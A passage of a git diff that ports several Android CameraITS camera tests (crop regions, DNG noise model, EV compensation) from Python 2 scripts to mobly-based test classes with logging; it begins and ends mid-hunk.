-        diff_raw = numpy.fabs((imgs2["raw_full"] - imgs2["raw_crop"])).mean()
-        print "YUV diff (crop vs. non-crop):", diff_yuv
-        print "RAW diff (crop vs. non-crop):", diff_raw
+      # Strip any border pixels from the raw shots (since the raw images may
+      # be larger than the YUV images). Assume a symmetric padded border.
+      xpad = (imgs2['raw_full'].shape[1] - imgs2['yuv_full'].shape[1]) // 2
+      ypad = (imgs2['raw_full'].shape[0] - imgs2['yuv_full'].shape[0]) // 2
+      wyuv = imgs2['yuv_full'].shape[1]
+      hyuv = imgs2['yuv_full'].shape[0]
+      imgs2['raw_full'] = imgs2['raw_full'][ypad:ypad+hyuv:,
+                                            xpad:xpad+wyuv:,
+                                            ::]
+      imgs2['raw_crop'] = imgs2['raw_crop'][ypad:ypad+hyuv:,
+                                            xpad:xpad+wyuv:,
+                                            ::]
+      logging.debug('Stripping padding before comparison: %dx%d', xpad, ypad)
 
-        assert(diff_yuv > DIFF_THRESH)
-        assert(diff_raw < DIFF_THRESH)
+      for s, img in imgs2.items():
+        image_processing_utils.write_image(
+            img, '%s_comp_%s.jpg' % (os.path.join(log_path, NAME), s))
+
+      # Compute diffs between images of the same type.
+      # The raw_crop and raw_full shots should be identical (since the crop
+      # doesn't apply to raw images), and the yuv_crop and yuv_full shots
+      # should be different.
+      diff_yuv = np.fabs((imgs2['yuv_full'] - imgs2['yuv_crop'])).mean()
+      diff_raw = np.fabs((imgs2['raw_full'] - imgs2['raw_crop'])).mean()
+      logging.debug('YUV diff (crop vs. non-crop): %.3f', diff_yuv)
+      logging.debug('RAW diff (crop vs. non-crop): %.3f', diff_raw)
+
+      assert diff_yuv > DIFF_THRESH, 'diff_yuv: %.3f, THRESH: %.2f' % (
+          diff_yuv, DIFF_THRESH)
+      assert diff_raw < DIFF_THRESH, 'diff_raw: %.3f, THRESH: %.2f' % (
+          diff_raw, DIFF_THRESH)
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
 
diff --git a/apps/CameraITS/tests/scene1_1/test_crop_regions.py b/apps/CameraITS/tests/scene1_1/test_crop_regions.py
index 59f884c..148d863 100644
--- a/apps/CameraITS/tests/scene1_1/test_crop_regions.py
+++ b/apps/CameraITS/tests/scene1_1/test_crop_regions.py
@@ -11,98 +11,126 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies android.scaler.cropRegion param works."""
 
+
+import logging
 import os.path
-import its.caps
-import its.device
-import its.image
-import its.objects
-import its.target
-import numpy
 
-NAME = os.path.basename(__file__).split(".")[0]
-# A list of 5 regions, specified in normalized (x,y,w,h) coords.
-# The regions correspond to: TL, TR, BL, BR, CENT
-REGIONS = [(0.0, 0.0, 0.5, 0.5),
-           (0.5, 0.0, 0.5, 0.5),
-           (0.0, 0.5, 0.5, 0.5),
-           (0.5, 0.5, 0.5, 0.5),
-           (0.25, 0.25, 0.5, 0.5)]
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+# 5 regions specified in normalized (x, y, w, h) coords.
+CROP_REGIONS = [(0.0, 0.0, 0.5, 0.5),  # top-left
+                (0.5, 0.0, 0.5, 0.5),  # top-right
+                (0.0, 0.5, 0.5, 0.5),  # bottom-left
+                (0.5, 0.5, 0.5, 0.5),  # bottom-right
+                (0.25, 0.25, 0.5, 0.5)]  # center
+MIN_DIGITAL_ZOOM_THRESH = 2
+NAME = os.path.splitext(os.path.basename(__file__))[0]
 
 
-def main():
-    """Test that crop regions work."""
+class CropRegionsTest(its_base_test.ItsBaseTest):
+  """Test that crop regions works."""
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.compute_target_exposure(props) and
-                             its.caps.freeform_crop(props) and
-                             its.caps.per_frame_control(props))
+  def test_crop_regions(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
 
-        a = props["android.sensor.info.activeArraySize"]
-        ax, ay = a["left"], a["top"]
-        aw, ah = a["right"] - a["left"], a["bottom"] - a["top"]
-        e, s = its.target.get_target_exposure_combos(cam)["minSensitivity"]
-        print "Active sensor region (%d,%d %dx%d)" % (ax, ay, aw, ah)
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props) and
+          camera_properties_utils.freeform_crop(props) and
+          camera_properties_utils.per_frame_control(props))
 
-        # Uses a 2x digital zoom.
-        assert its.objects.get_max_digital_zoom(props) >= 2
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-        # Capture a full frame.
-        req = its.objects.manual_capture_request(s, e)
-        cap_full = cam.do_capture(req)
-        img_full = its.image.convert_capture_to_rgb_image(cap_full)
-        wfull, hfull = cap_full["width"], cap_full["height"]
-        its.image.write_image(
-                img_full, "%s_full_%dx%d.jpg" % (NAME, wfull, hfull))
+      a = props['android.sensor.info.activeArraySize']
+      ax, ay = a['left'], a['top']
+      aw, ah = a['right'] - a['left'], a['bottom'] - a['top']
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          props, cam)['minSensitivity']
+      logging.debug('Active sensor region (%d,%d %dx%d)', ax, ay, aw, ah)
 
-        # Capture a burst of crop region frames.
-        # Note that each region is 1/2x1/2 of the full frame, and is digitally
-        # zoomed into the full size output image, so must be downscaled (below)
-        # by 2x when compared to a tile of the full image.
-        reqs = []
-        for x, y, w, h in REGIONS:
-            req = its.objects.manual_capture_request(s, e)
-            req["android.scaler.cropRegion"] = {
-                    "top": int(ah * y),
-                    "left": int(aw * x),
-                    "right": int(aw * (x + w)),
-                    "bottom": int(ah * (y + h))}
-            reqs.append(req)
-        caps_regions = cam.do_capture(reqs)
-        match_failed = False
-        for i, cap in enumerate(caps_regions):
-            a = cap["metadata"]["android.scaler.cropRegion"]
-            ax, ay = a["left"], a["top"]
-            aw, ah = a["right"] - a["left"], a["bottom"] - a["top"]
+      # Uses a 2x digital zoom.
+      max_digital_zoom = capture_request_utils.get_max_digital_zoom(props)
+      e_msg = 'Max digital zoom: %d, THRESH: %d' % (max_digital_zoom,
+                                                    MIN_DIGITAL_ZOOM_THRESH)
+      assert max_digital_zoom >= MIN_DIGITAL_ZOOM_THRESH, e_msg
 
-            # Match this crop image against each of the five regions of
-            # the full image, to find the best match (which should be
-            # the region that corresponds to this crop image).
-            img_crop = its.image.convert_capture_to_rgb_image(cap)
-            img_crop = its.image.downscale_image(img_crop, 2)
-            its.image.write_image(img_crop, "%s_crop%d.jpg" % (NAME, i))
-            min_diff = None
-            min_diff_region = None
-            for j, (x, y, w, h) in enumerate(REGIONS):
-                tile_full = its.image.get_image_patch(img_full, x, y, w, h)
-                wtest = min(tile_full.shape[1], aw)
-                htest = min(tile_full.shape[0], ah)
-                tile_full = tile_full[0:htest:, 0:wtest:, ::]
-                tile_crop = img_crop[0:htest:, 0:wtest:, ::]
-                its.image.write_image(
-                        tile_full, "%s_fullregion%d.jpg" % (NAME, j))
-                diff = numpy.fabs(tile_full - tile_crop).mean()
-                if min_diff is None or diff < min_diff:
-                    min_diff = diff
-                    min_diff_region = j
-            if i != min_diff_region:
-                match_failed = True
-            print "Crop image %d (%d,%d %dx%d) best match with region %d"%(
-                    i, ax, ay, aw, ah, min_diff_region)
+      # Capture a full frame.
+      req = capture_request_utils.manual_capture_request(s, e)
+      cap_full = cam.do_capture(req)
+      img_full = image_processing_utils.convert_capture_to_rgb_image(cap_full)
+      wfull, hfull = cap_full['width'], cap_full['height']
+      image_processing_utils.write_image(img_full, '%s_full_%dx%d.jpg' % (
+          os.path.join(log_path, NAME), wfull, hfull))
 
-        assert not match_failed
+      # Capture a burst of crop region frames.
+      # Note that each region is 1/2x1/2 of the full frame, and is digitally
+      # zoomed into the full size output image, so must be downscaled (below)
+      # by 2x when compared to a tile of the full image.
+      reqs = []
+      for x, y, w, h in CROP_REGIONS:
+        req = capture_request_utils.manual_capture_request(s, e)
+        req['android.scaler.cropRegion'] = {
+            'top': int(ah * y),
+            'left': int(aw * x),
+            'right': int(aw * (x + w)),
+            'bottom': int(ah * (y + h))}
+        reqs.append(req)
+      caps_regions = cam.do_capture(reqs)
+      match_failed = False
+      for i, cap in enumerate(caps_regions):
+        a = cap['metadata']['android.scaler.cropRegion']
+        ax, ay = a['left'], a['top']
+        aw, ah = a['right'] - a['left'], a['bottom'] - a['top']
 
-if __name__ == "__main__":
-    main()
+        # Match this crop image against each of the five regions of
+        # the full image, to find the best match (which should be
+        # the region that corresponds to this crop image).
+        img_crop = image_processing_utils.convert_capture_to_rgb_image(cap)
+        img_crop = image_processing_utils.downscale_image(img_crop, 2)
+        image_processing_utils.write_image(img_crop, '%s_crop%d.jpg' % (
+            os.path.join(log_path, NAME), i))
+        min_diff = None
+        min_diff_region = None
+        for j, (x, y, w, h) in enumerate(CROP_REGIONS):
+          tile_full = image_processing_utils.get_image_patch(
+              img_full, x, y, w, h)
+          wtest = min(tile_full.shape[1], aw)
+          htest = min(tile_full.shape[0], ah)
+          tile_full = tile_full[0:htest:, 0:wtest:, ::]
+          tile_crop = img_crop[0:htest:, 0:wtest:, ::]
+          image_processing_utils.write_image(
+              tile_full, '%s_fullregion%d.jpg' % (
+                  os.path.join(log_path, NAME), j))
+          diff = np.fabs(tile_full - tile_crop).mean()
+          if min_diff is None or diff < min_diff:
+            min_diff = diff
+            min_diff_region = j
+        if i != min_diff_region:
+          match_failed = True
+        logging.debug('Crop image %d (%d,%d %dx%d) best match with region %d',
+                      i, ax, ay, aw, ah, min_diff_region)
+
+    assert not match_failed
+
+if __name__ == '__main__':
+  test_runner.main()
 
diff --git a/apps/CameraITS/tests/scene1_1/test_dng_noise_model.py b/apps/CameraITS/tests/scene1_1/test_dng_noise_model.py
index c022e70..8af5aed 100644
--- a/apps/CameraITS/tests/scene1_1/test_dng_noise_model.py
+++ b/apps/CameraITS/tests/scene1_1/test_dng_noise_model.py
@@ -11,141 +11,163 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies the DNG RAW model parameters are correct."""
 
+
+import logging
 import math
 import os.path
-import its.caps
-import its.device
-import its.image
-import its.objects
 import matplotlib
 from matplotlib import pylab
+from mobly import test_runner
 
-NAME = os.path.basename(__file__).split('.')[0]
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+
 BAYER_LIST = ['R', 'GR', 'GB', 'B']
-DIFF_THRESH = 0.0012  # absolute variance delta threshold
-FRAC_THRESH = 0.2  # relative variance delta threshold
+NAME = os.path.splitext(os.path.basename(__file__))[0]
 NUM_STEPS = 4
-SENS_TOL = 0.97  # specification is <= 3%
+PATCH_H = 0.02  # center 2%
+PATCH_W = 0.02
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
+VAR_ATOL_THRESH = 0.0012  # absolute variance delta threshold
+VAR_RTOL_THRESH = 0.2  # relative variance delta threshold
 
 
-def main():
-    """Verify that the DNG raw model parameters are correct."""
+class DngNoiseModelTest(its_base_test.ItsBaseTest):
+  """Verify that the DNG raw model parameters are correct.
 
-    # Pass if the difference between expected and computed variances is small,
-    # defined as being within an absolute variance delta or relative variance
-    # delta of the expected variance, whichever is larger. This is to allow the
-    # test to pass in the presence of some randomness (since this test is
-    # measuring noise of a small patch) and some imperfect scene conditions
-    # (since ITS doesn't require a perfectly uniformly lit scene).
+  Pass if the difference between expected and computed variances is small,
+  defined as being within an absolute variance delta or relative variance
+  delta of the expected variance, whichever is larger. This is to allow the
+  test to pass in the presence of some randomness (since this test is
+  measuring noise of a small patch) and some imperfect scene conditions
+  (since ITS doesn't require a perfectly uniformly lit scene).
+  """
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        props = cam.override_with_hidden_physical_camera_props(props)
-        its.caps.skip_unless(
-                its.caps.raw(props) and
-                its.caps.raw16(props) and
-                its.caps.manual_sensor(props) and
-                its.caps.read_3a(props) and
-                its.caps.per_frame_control(props) and
-                not its.caps.mono_camera(props))
+  def test_dng_noise_model(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
 
-        white_level = float(props['android.sensor.info.whiteLevel'])
-        cfa_idxs = its.image.get_canonical_cfa_order(props)
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.raw(props) and
+          camera_properties_utils.raw16(props) and
+          camera_properties_utils.manual_sensor(props) and
+          camera_properties_utils.per_frame_control(props) and
+          not camera_properties_utils.mono_camera(props))
 
-        # Expose for the scene with min sensitivity
-        sens_min, _ = props['android.sensor.info.sensitivityRange']
-        sens_max_ana = props['android.sensor.maxAnalogSensitivity']
-        sens_step = (sens_max_ana - sens_min) / NUM_STEPS
-        s_ae, e_ae, _, _, _ = cam.do_3a(get_results=True)
-        s_e_prod = s_ae * e_ae
-        # Focus at zero to intentionally blur the scene as much as possible.
-        f_dist = 0.0
-        sensitivities = range(sens_min, sens_max_ana+1, sens_step)
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-        var_expected = [[], [], [], []]
-        var_measured = [[], [], [], []]
-        sens_valid = []
-        for sens in sensitivities:
-            # Capture a raw frame with the desired sensitivity
-            exp = int(s_e_prod / float(sens))
-            req = its.objects.manual_capture_request(sens, exp, f_dist)
-            cap = cam.do_capture(req, cam.CAP_RAW)
-            planes = its.image.convert_capture_to_planes(cap, props)
-            s_read = cap['metadata']['android.sensor.sensitivity']
-            print 'iso_write: %d, iso_read: %d' % (sens, s_read)
+      # Expose for the scene with min sensitivity
+      white_level = float(props['android.sensor.info.whiteLevel'])
+      cfa_idxs = image_processing_utils.get_canonical_cfa_order(props)
+      sens_min, _ = props['android.sensor.info.sensitivityRange']
+      sens_max_ana = props['android.sensor.maxAnalogSensitivity']
+      sens_step = (sens_max_ana - sens_min) // NUM_STEPS
+      s_ae, e_ae, _, _, _ = cam.do_3a(get_results=True, do_af=False)
+      # Focus at zero to intentionally blur the scene as much as possible.
+      f_dist = 0.0
+      s_e_prod = s_ae * e_ae
+      sensitivities = range(sens_min, sens_max_ana+1, sens_step)
 
-            # Test each raw color channel (R, GR, GB, B)
-            noise_profile = cap['metadata']['android.sensor.noiseProfile']
-            assert len(noise_profile) == len(BAYER_LIST)
-            for i in range(len(BAYER_LIST)):
-                print BAYER_LIST[i],
-                # Get the noise model parameters for this channel of this shot.
-                ch = cfa_idxs[i]
-                s, o = noise_profile[ch]
+      var_exp = [[], [], [], []]
+      var_meas = [[], [], [], []]
+      sens_valid = []
+      for sens in sensitivities:
+        # Capture a raw frame with the desired sensitivity
+        exp = int(s_e_prod / float(sens))
+        req = capture_request_utils.manual_capture_request(sens, exp, f_dist)
+        cap = cam.do_capture(req, cam.CAP_RAW)
+        planes = image_processing_utils.convert_capture_to_planes(cap, props)
+        s_read = cap['metadata']['android.sensor.sensitivity']
+        logging.debug('iso_write: %d, iso_read: %d', sens, s_read)
+        if self.debug_mode:
+          img = image_processing_utils.convert_capture_to_rgb_image(
+              cap, props=props)
+          image_processing_utils.write_image(
+              img, '%s_%d.jpg' % (os.path.join(log_path, NAME), sens))
 
-                # Use a very small patch to ensure gross uniformity (i.e. so
-                # non-uniform lighting or vignetting doesn't affect the variance
-                # calculation)
-                black_level = its.image.get_black_level(i, props,
-                                                        cap['metadata'])
-                level_range = white_level - black_level
-                plane = its.image.get_image_patch(planes[i], 0.49, 0.49,
-                                                  0.02, 0.02)
-                tile_raw = plane * white_level
-                tile_norm = ((tile_raw - black_level) / level_range)
+        # Test each raw color channel (R, GR, GB, B)
+        noise_profile = cap['metadata']['android.sensor.noiseProfile']
+        assert len(noise_profile) == len(BAYER_LIST)
+        for i, ch in enumerate(BAYER_LIST):
+          # Get the noise model parameters for this channel of this shot.
+          s, o = noise_profile[cfa_idxs[i]]
 
-                # exit if distribution is clipped at 0, otherwise continue
-                mean_img_ch = tile_norm.mean()
-                var_model = s * mean_img_ch + o
-                # This computation is a suspicious because if the data were
-                # clipped, the mean and standard deviation could be affected
-                # in a way that affects this check. However, empirically,
-                # the mean and standard deviation change more slowly than the
-                # clipping point itself does, so the check remains correct
-                # even after the signal starts to clip.
-                mean_minus_3sigma = mean_img_ch - math.sqrt(var_model) * 3
-                if mean_minus_3sigma < 0:
-                    e_msg = '\nPixel distribution crosses 0.\n'
-                    e_msg += 'Likely black level over-clips.\n'
-                    e_msg += 'Linear model is not valid.\n'
-                    e_msg += 'mean: %.3e, var: %.3e, u-3s: %.3e' % (
-                            mean_img_ch, var_model, mean_minus_3sigma)
-                    assert 0, e_msg
-                else:
-                    var = its.image.compute_image_variances(tile_norm)[0]
-                    var_measured[i].append(var)
-                    var_expected[i].append(var_model)
-                    abs_diff = abs(var - var_model)
-                    if var_model:
-                        rel_diff = abs_diff / var_model
-                    else:
-                        raise ValueError('var_model=0!')
-                    print ('%s mean: %.3f, var: %.3e, var_model: %.3e, '
-                           'abs_diff: %.5f, rel_diff: %.3f' %
-                           (ch, mean_img_ch, var, var_model, abs_diff, rel_diff))
-            print ''
-            sens_valid.append(sens)
+          # Use a very small patch to ensure gross uniformity (i.e. so
+          # non-uniform lighting or vignetting doesn't affect the variance
+          # calculation)
+          black_level = image_processing_utils.get_black_level(
+              i, props, cap['metadata'])
+          level_range = white_level - black_level
+          plane = image_processing_utils.get_image_patch(
+              planes[i], PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+          patch_raw = plane * white_level
+          patch_norm = ((patch_raw - black_level) / level_range)
+
+          # exit if distribution is clipped at 0, otherwise continue
+          mean_img_ch = patch_norm.mean()
+          var_model = s * mean_img_ch + o
+          # This computation is suspicious because if the data were clipped,
+          # the mean and standard deviation could be affected in a way that
+          # affects this check. However, empirically, the mean and standard
+          # deviation change more slowly than the clipping point itself does,
+          # so the check remains correct even after the signal starts to clip.
+          mean_minus_3sigma = mean_img_ch - math.sqrt(var_model) * 3
+          if mean_minus_3sigma < 0:
+            e_msg = 'Pixel distribution crosses 0. Likely black level '
+            e_msg += 'over-clips. Linear model is not valid. '
+            e_msg += 'mean: %.3e, var: %.3e, u-3s: %.3e' % (
+                mean_img_ch, var_model, mean_minus_3sigma)
+            assert mean_minus_3sigma < 0, e_msg
+          else:
+            var = image_processing_utils.compute_image_variances(patch_norm)[0]
+            var_meas[i].append(var)
+            var_exp[i].append(var_model)
+            abs_diff = abs(var - var_model)
+            logging.debug('%s mean: %.3f, var: %.3e, var_model: %.3e',
+                          ch, mean_img_ch, var, var_model)
+            if var_model:
+              rel_diff = abs_diff / var_model
+            else:
+              raise AssertionError(f'{ch} model variance = 0!')
+            logging.debug('abs_diff: %.5f, rel_diff: %.3f', abs_diff, rel_diff)
+        sens_valid.append(sens)
 
     # plot data and models
+    pylab.figure(NAME)
     for i, ch in enumerate(BAYER_LIST):
-        pylab.plot(sens_valid, var_expected[i], 'rgkb'[i],
-                   label=ch+' expected')
-        pylab.plot(sens_valid, var_measured[i], 'rgkb'[i]+'.--',
-                   label=ch+' measured')
+      pylab.plot(sens_valid, var_exp[i], 'rgkb'[i], label=ch+' expected')
+      pylab.plot(sens_valid, var_meas[i], 'rgkb'[i]+'.--', label=ch+' measured')
+    pylab.title(NAME)
     pylab.xlabel('Sensitivity')
     pylab.ylabel('Center patch variance')
+    pylab.ticklabel_format(axis='y', style='sci', scilimits=(-6, -6))
     pylab.legend(loc=2)
-    matplotlib.pyplot.savefig('%s_plot.png' % NAME)
+    matplotlib.pyplot.savefig('%s_plot.png' % os.path.join(log_path, NAME))
 
     # PASS/FAIL check
     for i, ch in enumerate(BAYER_LIST):
-        diffs = [abs(var_measured[i][j] - var_expected[i][j])
-                 for j in range(len(sens_valid))]
-        print 'Diffs (%s):'%(ch), diffs
-        for j, diff in enumerate(diffs):
-            thresh = max(DIFF_THRESH, FRAC_THRESH*var_expected[i][j])
-            assert diff <= thresh, 'diff: %.5f, thresh: %.4f' % (diff, thresh)
+      var_diffs = [abs(var_meas[i][j] - var_exp[i][j])
+                   for j in range(len(sens_valid))]
+      logging.debug('%s variance diffs: %s', ch, str(var_diffs))
+      for j, diff in enumerate(var_diffs):
+        thresh = max(VAR_ATOL_THRESH, VAR_RTOL_THRESH*var_exp[i][j])
+        assert diff <= thresh, 'var diff: %.5f, thresh: %.4f' % (diff, thresh)
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene1_1/test_ev_compensation_advanced.py b/apps/CameraITS/tests/scene1_1/test_ev_compensation_advanced.py
index cc36990..e51f4fa 100644
--- a/apps/CameraITS/tests/scene1_1/test_ev_compensation_advanced.py
+++ b/apps/CameraITS/tests/scene1_1/test_ev_compensation_advanced.py
@@ -11,101 +11,146 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies EV compensation is applied."""
 
+
+import logging
 import os.path
-import its.caps
-import its.device
-import its.image
-import its.objects
 import matplotlib
 from matplotlib import pylab
-import numpy
+from mobly import test_runner
+import numpy as np
 
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+LINEAR_TONEMAP_CURVE = [0.0, 0.0, 1.0, 1.0]
 LOCKED = 3
-MAX_LUMA_DELTA_THRESH = 0.05
-NAME = os.path.basename(__file__).split('.')[0]
-THRESH_CONVERGE_FOR_EV = 8  # AE must converge in this num auto reqs for EV
+LUMA_DELTA_THRESH = 0.05
+LUMA_LOCKED_TOL = 0.05
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
+THRESH_CONVERGE_FOR_EV = 8  # AE must converge within this num auto reqs for EV
+YUV_FULL_SCALE = 255.0
+YUV_SAT_MIN = 250.0
+YUV_SAT_TOL = 3.0
 
 
-def main():
-    """Tests that EV compensation is applied."""
+def create_request_with_ev(ev):
+  req = capture_request_utils.auto_capture_request()
+  req['android.control.aeExposureCompensation'] = ev
+  req['android.control.aeLock'] = True
+  # Use linear tonemap to avoid brightness being impacted by tone curves.
+  req['android.tonemap.mode'] = 0
+  req['android.tonemap.curve'] = {'red': LINEAR_TONEMAP_CURVE,
+                                  'green': LINEAR_TONEMAP_CURVE,
+                                  'blue': LINEAR_TONEMAP_CURVE}
+  return req
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.manual_sensor(props) and
-                             its.caps.manual_post_proc(props) and
-                             its.caps.per_frame_control(props) and
-                             its.caps.ev_compensation(props))
 
-        mono_camera = its.caps.mono_camera(props)
-        debug = its.caps.debug_mode()
-        largest_yuv = its.objects.get_largest_yuv_format(props)
-        if debug:
-            fmt = largest_yuv
-        else:
-            match_ar = (largest_yuv['width'], largest_yuv['height'])
-            fmt = its.objects.get_smallest_yuv_format(props, match_ar=match_ar)
+def extract_luma_from_capture(cap):
+  """Extract luma from capture."""
+  y = image_processing_utils.convert_capture_to_planes(cap)[0]
+  patch = image_processing_utils.get_image_patch(
+      y, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+  luma = image_processing_utils.compute_image_means(patch)[0]
+  return luma
 
-        ev_compensation_range = props['android.control.aeCompensationRange']
-        range_min = ev_compensation_range[0]
-        range_max = ev_compensation_range[1]
-        ev_per_step = its.objects.rational_to_float(
-                props['android.control.aeCompensationStep'])
-        steps_per_ev = int(round(1.0 / ev_per_step))
-        ev_steps = range(range_min, range_max + 1, steps_per_ev)
-        imid = len(ev_steps) / 2
-        ev_shifts = [pow(2, step * ev_per_step) for step in ev_steps]
-        lumas = []
 
-        # Converge 3A, and lock AE once converged. skip AF trigger as
-        # dark/bright scene could make AF convergence fail and this test
-        # doesn't care the image sharpness.
-        cam.do_3a(ev_comp=0, lock_ae=True, do_af=False, mono_camera=mono_camera)
+def create_ev_comp_changes(props):
+  """Create the ev compensation steps and shifts from control params."""
+  ev_compensation_range = props['android.control.aeCompensationRange']
+  range_min = ev_compensation_range[0]
+  range_max = ev_compensation_range[1]
+  ev_per_step = capture_request_utils.rational_to_float(
+      props['android.control.aeCompensationStep'])
+  logging.debug('ev_step_size_in_stops: %d', ev_per_step)
+  steps_per_ev = int(round(1.0 / ev_per_step))
+  ev_steps = range(range_min, range_max + 1, steps_per_ev)
+  ev_shifts = [pow(2, step * ev_per_step) for step in ev_steps]
+  return ev_steps, ev_shifts
 
-        for ev in ev_steps:
 
-            # Capture a single shot with the same EV comp and locked AE.
-            req = its.objects.auto_capture_request()
-            req['android.control.aeExposureCompensation'] = ev
-            req['android.control.aeLock'] = True
-            # Use linear tone curve to avoid brightness being impacted
-            # by tone curves.
-            req['android.tonemap.mode'] = 0
-            req['android.tonemap.curve'] = {
-                    'red': [0.0, 0.0, 1.0, 1.0],
-                    'green': [0.0, 0.0, 1.0, 1.0],
-                    'blue': [0.0, 0.0, 1.0, 1.0]}
-            caps = cam.do_capture([req]*THRESH_CONVERGE_FOR_EV, fmt)
+class EvCompensationAdvancedTest(its_base_test.ItsBaseTest):
+  """Tests that EV compensation is applied."""
 
-            for cap in caps:
-                if cap['metadata']['android.control.aeState'] == LOCKED:
-                    y = its.image.convert_capture_to_planes(cap)[0]
-                    tile = its.image.get_image_patch(y, 0.45, 0.45, 0.1, 0.1)
-                    lumas.append(its.image.compute_image_means(tile)[0])
-                    break
-            assert cap['metadata']['android.control.aeState'] == LOCKED
+  def test_ev_compensation_advanced(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
 
-        print 'ev_step_size_in_stops', ev_per_step
-        shift_mid = ev_shifts[imid]
-        luma_normal = lumas[imid] / shift_mid
-        expected_lumas = [min(1.0, luma_normal*ev_shift) for ev_shift in ev_shifts]
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.ev_compensation(props) and
+          camera_properties_utils.manual_sensor(props) and
+          camera_properties_utils.manual_post_proc(props) and
+          camera_properties_utils.per_frame_control(props))
 
-        pylab.plot(ev_steps, lumas, '-ro')
-        pylab.plot(ev_steps, expected_lumas, '-bo')
-        pylab.title(NAME)
-        pylab.xlabel('EV Compensation')
-        pylab.ylabel('Mean Luma (Normalized)')
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-        matplotlib.pyplot.savefig('%s_plot_means.png' % (NAME))
+      # Create ev compensation changes
+      ev_steps, ev_shifts = create_ev_comp_changes(props)
 
-        luma_diffs = [expected_lumas[i]-lumas[i] for i in range(len(ev_steps))]
-        max_diff = max(abs(i) for i in luma_diffs)
-        avg_diff = abs(numpy.array(luma_diffs)).mean()
-        print 'Max delta between modeled and measured lumas:', max_diff
-        print 'Avg delta between modeled and measured lumas:', avg_diff
-        assert max_diff < MAX_LUMA_DELTA_THRESH, 'diff: %.3f, THRESH: %.2f' % (
-                max_diff, MAX_LUMA_DELTA_THRESH)
+      # Converge 3A, and lock AE once converged. skip AF trigger as
+      # dark/bright scene could make AF convergence fail and this test
+      # doesn't care the image sharpness.
+      mono_camera = camera_properties_utils.mono_camera(props)
+      cam.do_3a(ev_comp=0, lock_ae=True, do_af=False, mono_camera=mono_camera)
 
+      # Create requests and capture
+      largest_yuv = capture_request_utils.get_largest_yuv_format(props)
+      match_ar = (largest_yuv['width'], largest_yuv['height'])
+      fmt = capture_request_utils.get_smallest_yuv_format(
+          props, match_ar=match_ar)
+      lumas = []
+      for ev in ev_steps:
+        # Capture a single shot with the same EV comp and locked AE.
+        req = create_request_with_ev(ev)
+        caps = cam.do_capture([req]*THRESH_CONVERGE_FOR_EV, fmt)
+        for cap in caps:
+          if cap['metadata']['android.control.aeState'] == LOCKED:
+            lumas.append(extract_luma_from_capture(cap))
+            break
+          assert cap['metadata']['android.control.aeState'] == LOCKED
+        logging.debug('lumas in AE locked captures: %s', str(lumas))
+
+      i_mid = len(ev_steps) // 2
+      luma_normal = lumas[i_mid] / ev_shifts[i_mid]
+      expected_lumas = [min(1.0, luma_normal*shift) for shift in ev_shifts]
+
+      # Create plot
+      pylab.figure(NAME)
+      pylab.plot(ev_steps, lumas, '-ro', label='measured', alpha=0.7)
+      pylab.plot(ev_steps, expected_lumas, '-bo', label='expected', alpha=0.7)
+      pylab.title(NAME)
+      pylab.xlabel('EV Compensation')
+      pylab.ylabel('Mean Luma (Normalized)')
+      pylab.legend(loc='lower right', numpoints=1, fancybox=True)
+      matplotlib.pyplot.savefig(
+          '%s_plot_means.png' % os.path.join(log_path, NAME))
+
+      luma_diffs = [expected_lumas[i]-lumas[i] for i in range(len(ev_steps))]
+      max_diff = max(abs(i) for i in luma_diffs)
+      avg_diff = abs(np.array(luma_diffs)).mean()
+      logging.debug(
